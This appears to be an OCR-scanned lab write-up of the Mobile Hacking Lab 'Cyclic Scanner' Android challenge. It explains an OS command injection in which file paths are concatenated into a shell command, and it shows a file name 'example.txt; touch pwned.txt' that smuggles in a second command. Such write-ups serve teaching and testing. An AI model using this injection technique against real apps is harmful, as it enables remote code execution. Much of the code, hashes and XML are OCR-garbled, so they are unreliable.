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1 Mobile Hacking Lab Cyclic Scanner Challenge

1.1 Introduction

This lab is designed to mimic real-world scenarios where vulnerabilities within Android services lead to exploitable
situations. Participants will have the opportunity to exploit these vulnerabilities to achieve remote code

execution (RCE) on an Android device.

1.2 Objective

Exploit a vulnerability inherent within an Android service to achieve remote code execution.

1.3 Scope
Application Plataform
com.mobilehackinglab.cyclicscanner Android

FILE INFORMATION

File Name com.mobilehackinglab.cyclicscanner.apk

Size 11.33MB

MD5 0e3232£37cb0£986014e4c767ea0d420

SHA1 d9cd0a100731389b8bfbf9a019d70a65e8£f6016¢

SHA256 2a01bfe39237¢c3cc0118bf845fb6c3da75f2ad0ace918d207977d6766adf3750
APP INFORMATION

App Name Cyclic Scanner

Package Name com.mobilehackinglab.cyclicscanner

Main Activity com.mobilehackinglab.cyclicscanner.MainActivity
Target SDK 33 Min SDK 30 Max SDK

Android Version Name 1.0 Android Version Code 1

2 High-Level Summary

An external (black box) penetration test was executed to assess the security posture of Cyclic Scanner from
February 18 2026 to February 20 2026. 1 High severity issue were found. It is highly recommended to address
the High vulnerability as soon as possible as the vulnerabilities are easily found through basic reconnaissance

and exploitable without much effort.
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2.1 Recommendations

We recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot
exploit these systems in the future. One thing to remember is that these systems require frequent patching and
once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered
at a later date.

2.2 Identified Vulnerabilities

The following table defines estimated levels of severity and corresponding CVSS score range used throughout
the document to assess vulnerability and risk impact.

Target Name CVSS 3.1 Page

com.mobilehackinglab. cyclicscanner 7?7

3 Application Analysis

After installing and opening the application, you can see a single feature. A
switch in the off state; when you change its state to on, a Toast message
appears:

“Scan service started, your device will be scanned regularly.”

Enable Seanner ()

It would appear that a Service has been started and that some actions are
being performed in the background. Turning the switch back to off does not
seem to be possible, as indicated by another Toast message:

“Scan service cannot be stopped, this is for your own safety!”

Scan service started, your device will be
= scanned regulary,

A — 4
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In the AndroidManifest.zml file, I detected several relevant points.

w= AndroidHanifest .xml

33

L]

<?xml version="1.0" enco
2 =manifest xmlns:android="http://schemas.android.com/apk/res/android"

ding="utf-8"7=

android:versionCode="1"
android:versionName="1,0"
android:compileSdkvVersion="34"
android:compileSdkVersionCodename="14"
package="com.mobilehackinglab.cyclicscanner"
platfermBuildVersionCode="34"
platformBuildVersionName="14">
=zuses-sdk
android:minSdkVersion="30"
android:targetsdkVersion="33"/=

<uses-permission android:name="android.permission. MANAGE EXTERMAL_STORAGE"/=> -

=uses-permission android:name="android.permission. FOREGROUND_SERVICE" /=
<uses-permission android:name="android. permission. INTERNET" /=
<permission

android:name="com.mobilehackinglab.cyclicscanner  DYMAMIC_RECEIVER_NOT_EXPORTED PERMISSION"

android:protectionLevel="signature"/=

=uses-permission android:name="com. mobilehackinglab.cyclicscanner . DYNAMIC_RECEIVER NOT_EXPORTED PERMISSION"/=

<application

android:theme="@style/Theme.CyclicScanner"”

android:label="@string/app_name"

android:icon="@mipmap/ic_launcher"

android:debuggable="true"

android:allowBackup="true"

android:supportskRtl="true"

android:extractNativelLibs="false"

android: fullBackupContent="@xml/backup_rules"

android:roundIcon="@mipmap/ic_launcher_round"

android:appComponentFactory="androidx.core.app.CoreComponentFactory"

android:dataExtractionRules="@xml/data_extraction_rules"=

<activity
android:name="com.mobilehackinglab.cyclicscanner . MainActivity"
android:exported="true"=
=intent-filter=

=gction android:name="android.intent.action.MAIN"/=
<category android:name="android.intent. category.LAUNCHER" /=

=fintent-filter>

=factivity=

=service
android:name="com.mobilehackinglab.cyclicscanner.scanner.ScanService"
android:exported="false"/=

<provider
android:name="androidx.startup.InitializationProvider"
android:exported="false"

The MANAGE EXTERNAL STORAGE permission is declared, which grants the application the ability to read and

Image 1: AndroidManifest

write to shared directories on external storage.

<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"

And the attribute android:debuggable=“true” also appears. This setting enables application debugging. This

facilitates reverse engineering and may expose sensitive internal information if proper precautions are not taken

CWE-489.

Code 1: permission

/>



https://developer.android.com/training/data-storage/manage-all-files#operations-allowed-manage-external-storage
https://cwe.mitre.org/data/definitions/489.html
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When running the application

appear to be performed.

$

adb logcat --pid=22141

02-18 02:50:21.465 22141 22205 I
02-18 02:50:21.482 22141 22205 I

database_uuid...SAFE

02-18 02:50:21.488 22141 22205 I

. SAFE

02-18 02:50:21.495 22141 22205 I

database_uuid...SAFE

02-18 02:50:21.502 22141 22205 I

nomedia...SAFE

02-18 02:50:21.509 22141 22205 I

database_uuid...SAFE

02-18 02:50:21.517 22141 22205 I

. SAFE

02-18 02:50:21.518 22141 22205 I

Reviewing MainActivity confirms the

System.
System.

System.

System.

System.

System.

System.

System.

out:
out:

out:

out:

out:

out:

out:

out:

in debug mode, several System.out outputs are visible, where some file checks

starting file scan...
/storage/emulated/0/Music/.thumbnails/.

/storage/emulated/0/Music/.thumbnails/.nomedia

/storage/emulated/0/Pictures/. thumbnails/.

/storage/emulated/0/Pictures/.thumbnails/.

/storage/emulated/0/Movies/. thumbnails/.

/storage/emulated/0/Movies/.thumbnails/.nomedia

finished file scan!

Code 2: logcat output

behavior observed above.

©, MainActivity
LOLTLISLICS  CHECKENU LNU L LFdIdmELET LLITLS5DU, LtNLssu 1,
59 dialog.dismiss();
70 this$o. finish():
76 private final woid setupSwitch() {
7 ActivityMainBinding activityMainBinding = this.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
}
act1v1tyHalnBlnd1ng serviceSwitch.setOnCheckedChangelistener(new CompoundButton.OnCheckedChangeListener() { // from c
@verride // android.widget.CompoundButton.OnCheckedChangelListener
public final woid onCheckedChanged(CompoundButton compoundButton, boolean z) {
MainActivity.setupSwitch$lambda$3(this. f$0, compoundButton, z);
}
1)
}
S* JADX INFO: Access modifiers changed from: private */
77 public static fipal veid setupSwitch$lambda$3(MainActivity this$0. CompoundButton compoundButton, boolean isChecked) {
Intrinsics.checkNotNullParameter(this$0, "thisg0");
P if (isChecked) {
78 Toast.makeText(this$0, "Scan service started, your device will be scanned regularly.", 0).show()
81 this$0.startForegroundService (new Intent(this$e, (Class<?=) ScanService.class))
87 return; —
78 Toast.makeText(this$@, "Scan service cannot be stopped, this is for your own safety!", 0).show()
85 ActivityMainBinding activityMainBinding = this$0.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
activityMainBinding.serviceSwitch.setChecked (true);
}
920 private final void startService() {
91 Toast.makeText(this, "Scan service started”, ©).show()
92 startForegroundService (new Intent(this, (Class<?=) ScanService.class)):
}
1

Image 2: MainActivity

The setupSwitch$lambda$3 method implements the logic associated with the Switch.




If it is activated, its status changes to isChecked == true. It then displays the Toast indicating that the service

has been started. Next, it calls startForegroundService() with an Intent directed to ScanService.

When the user tries to deactivate the switch, the logic does not stop the service. Instead, it forces the switch

status to true using setChecked(true).

if (isChecked) {

Toast .makeText (this$0, "Scan service started, your device will be scanned regularly.",

0) .show () ;

this$0.startForegroundService(new Intent(this$0, (Class<?>) ScanService.class));

return;

Code 3: setupSwitch$lambda$3 method

The ScanService class implements a Service that periodically scans files.

£, ScanService
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/* compiled from: ScanService. ki */
IMetadataldl = {"\wOBOO4\NY\UOOO2Y\LOALEYUBEAZYM\LEBO2YLBOLE\WBBD2YNYWWEBE2\b\LBER2Y M\ LEBE2 \LABLE\LBA2YNYUBEBE\M\LBBB2 YU
/% loaded from: classesd dex */
public final class ScanService extends Service {
private static fipmal String CHANMEL_ID = "ForeagroundScanServiceChannesl";
private static final String CHANMEL_NAME = "ScanSerwvice";
private static final Llong SCAN_INTERVAL = £000;
private ServiceHandler serviceHandler;
private Looper servicelooper;

/* compiled from: ScanService. kit */
iMetadataldl = {"\w@B0EY\UBO1le\n\WOBB2YUBELE \WEBO2Y\N\WBEE2\WEBLE\LBBEZ\ N\ uBEBEYN\UBBE2Y\uBOLE\LEBO2\NuBEBZ\b\uBBB 2N
private fimal class ServiceHandler extends Handler {

final /* synthetic */ ScanService this$o;

/% JADX WARN: 'super’ call moved to the top of the method (can bresk code semantics) */
public ServiceHandler(ScanService this$0, Looper looper) 4

super [ looper] ;

Intrinsics. checkMotNullParameter(looper, "lLooper");

this. this$0 = this$0,;
}

@0verride // android. os. Handler
public veid handleMessage(Message msg) {
Intrinsics. checkNotNullParameterimsg, "msg");
try {
System. out. printlni (Object) "starting file scan...");
= File externalStorageDirectory = Envirenment. getExternalStorageDirectoryl];
Intrinsics. checkNotNUllExpressionValuelexternal StorageDirectory, "getExternalStorageDirectory(. .. )");
Sequence $this$forEach$iv = FileskKt.walk$default(externalStorageDirectory, null, 1, null);
| for (Object element$iv : $thisfforEachfiv] {
File file = (File] element$iv;
if (file. canRead() &% file. isFile()) {

System. out. print( (Object) (file. getAbsolutePathi) + .. . "]));
= boolean safe = ScanEngine. INSTANCE. scanFileifile);
System. out. println((Object) (safe ? "SAFE" . "INFECTED"));

I

}'

System. out. praintlni (Object] "finished file scan!"];
} catch [(InterruptedException e) {

Thread. currentThread( | . interrupt(];
H
Message $thisfhandleMessage_u24lambda_u24l = obtainMessagel];
$thisthandleMessage u24lambda_u24l.argl = msg. argl;
sendMessageDel ayed| $thisthandleMessage u24lambda_u241, ScanService. SCAN_INTERVAL);

Image 3: ScanService




Using Environment.getExternalStorageDirectory(), the application accesses external storage. Using a loop, the

ScanEngine class performs a series of checks to verify that the files are safe.

The ScanEngine class identifies malware by comparing hardcoded hashes. To do this, the application scans

shared directories and, for each file, builds and executes a command to obtain its hash and validates it against

the list incorporated in the code.

23
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€, ScanEngine

Import kotlin.lo.lloseablekt;

impart ketlin. jvm.internal.DefaultConstructorMarker;
import kotlin. jvm.internal.Intrinsics;

impert ketlin. text.Charsets;

import kotlin. text.StringsKt;

/™ compiled from: ScanEngine kt ®/

aMetadataldl = {™\uBBBEL M uBAAZ uBE 18N UBBEZ N\ LBEEZ, uAA 16N LBAAEN M\ LBBEZ, b\ UBAAT UGB 18 UBBEE *uABE3Z\ uBAO2E\ LBAAL: \ uBBA I\ uBBEIE LBBESE, LOOGE uABAZ LB LS UBEZ \ LBBEE LBBR4"}, d2 = {"Loor
/* loaded from classesd. dex */

public final class ScanEngine {

/* renamed from: Companion, reason: from kotlin metadata */
public static final Companion INSTANCE = new Companioninull);
private static final HashMap=String, String> KNOWN_MALWARE_SAMPLES = MapskKt.hashMapOfiTupleskt. tol"eicar. com®, "3395856ce81f2h7382dea72602F 792064214140 ), Tupleskt. tol"eicar. com. txt’

/* compiled from: ScanEngine kt %
aMetadataid]l = {™\uBBEGE r\uBBEZ, LBE 1SN LAGEZ, M\ UBEEZ LB 1\ UBBBE M\ LBBEZ\ b\ UBRAZY N\ LBAAZ LEE 18\ UBGEZ r\ BBEZ, UBE LGN uBEEE\ N\ LBEAZ, LAA 18\ LBBAZ\ N\ UBBEEN N\ UABEZ\ LGE 1A\ LBBERY M\ LBBEE. i\ uBET
public static final class Companion {
public /% synthetic %/ CompanioniDefaultConstructorMarker defaultConstructorMarker) {
thisi);
1

private Companioni) {
1

public final boolean scanFileiFile file) {
Int r:LnsJ.cs checkNotNullParameter(file, "file");
try {
|———M String commnd = “toybox shalsum * + file.getAbsalutePath();
Frocess process = new ProcessBuilder(new Stringlol). command("sh”, "-c", command).directory(Environment.getExternalStoragelirectory()). redirectErrorStreamitrus) start();
InputStream inputStream = process.getInputStream!);
Intrinsics. checkNotNu'L'LExpresslon\‘alue'lnputStream "getInputStreami...1"];
Feader inputStreamReader = new InputStreamfeader(inputStream, Charsets. UTF al;
BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStr
try 1
BufferedReader reader = bufferedReader;
String output = reader.readline(];
Intrinsics. checkNatNull(autput);
Object fileHash = StringsKt.substringBeforegdefault(output, * ~, (String) null, 2, (Object) nulll;
Unit unit = Unit. INSTANCE;
Closeablekt. closeFinally (bufferadReader, nulll;
return ! ScanEngine. KNOWN_MALWARE _SAMPLES. contains¥alue(fileHash);
T finally {
1

: new BufferedR (inputStr der, 2192);

} catch (Exception e) {
e.printStackT racel];
return false;

Image 4: ScanEngine

The problem lies in how the string that is sent directly to the command interpreter is constructed. ScanService

scans /sdcard/ and passes the name of each file to ScanEngine, which concatenates it into a shell command.

If the file name contains special characters, the interpreter may execute additional commands, which constitutes

an OS Command Injection vulnerability CWE-78

String command = "toybox shalsum " + file.getAbsolutePath();

Process process = new ProcessBuilder (new Stringl[0]).command("sh", "-c", command).directory(

Environment.getExternalStorageDirectory()).redirectErrorStream(true).start();

Code 4: Command Injection



https://cwe.mitre.org/data/definitions/78.html
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4 Execution

In this way, it is possible to develop an application whose sole function is to create a file with a specially

constructed name, concatenating an additional command to the original name.

String fileName = "example.txt;" + userCommand;

Code 5: Code App

In the Command Input field, the user types the command they want to execute, for example touch pwned.txzt.

CyclicScanner Rce

touch pwned.txt

EXECUTE EXPLOIT

example. txt; touch pwned.txt

Image 5: Malicious App

The command is incorporated with the file name example.tzt.

$ adb shell 1ls /sdcard/Download/

example.txt;touch pwned.txt

Code 6: pwned file



$ adb logcat --pid=22141

02-18 05:45:57.662 22141
02-18 05:45:51.671 22141
touch pwned.txt...SAFE
02-18 05:45:51.679 22141
database_uuid...SAFE
02-18 05:45:51.686 22141

nomedia...SAFE
02-18 05:45:51.693 22141
database_uuid...SAFE
02-18 05:45:51.701 22141
nomedia...SAFE
02-18 05:45:51.708 22141
database_uuid...SAFE
02-18 05:45:51.715 22141
nomedia...SAFE
02-18 05:45:51.722 22141
02-18 05:45:51.722 22141

$ adb shell 1s /sdcard/
Alarms
Android
Audiobooks
DCIM
Documents
Download
Movies

Music
Notifications
Pictures
Podcasts
Recordings
Ringtones
pwned.txt

22205
22205

22205

22205

22205

22205

22205

22205

22205
22205

And it is stored in a directory where the vulnerable application performs its scan.

System.out: starting file scan...
System.out: /storage/emulated/0/Download/example.txt;

System.out: /storage/emulated/0/Music/.thumbnails/.
System.out: /storage/emulated/0/Music/.thumbnails/.
System.out: /storage/emulated/0/Pictures/.thumbnails/.
System.out: /storage/emulated/0/Pictures/.thumbnails/.
System.out: /storage/emulated/0/Movies/.thumbnails/.
System.out: /storage/emulated/0/Movies/.thumbnails/.

System.out: /storage/emulated/0/pwned.txt...SAFE
System.out: finished file scan!

Code 7: logcat output 2

The interpreter will find the colon and successfully execute the touch command. This confirms that the Cyclic

Scanner application is vulnerable to Code Execution.

Code 8: code execution
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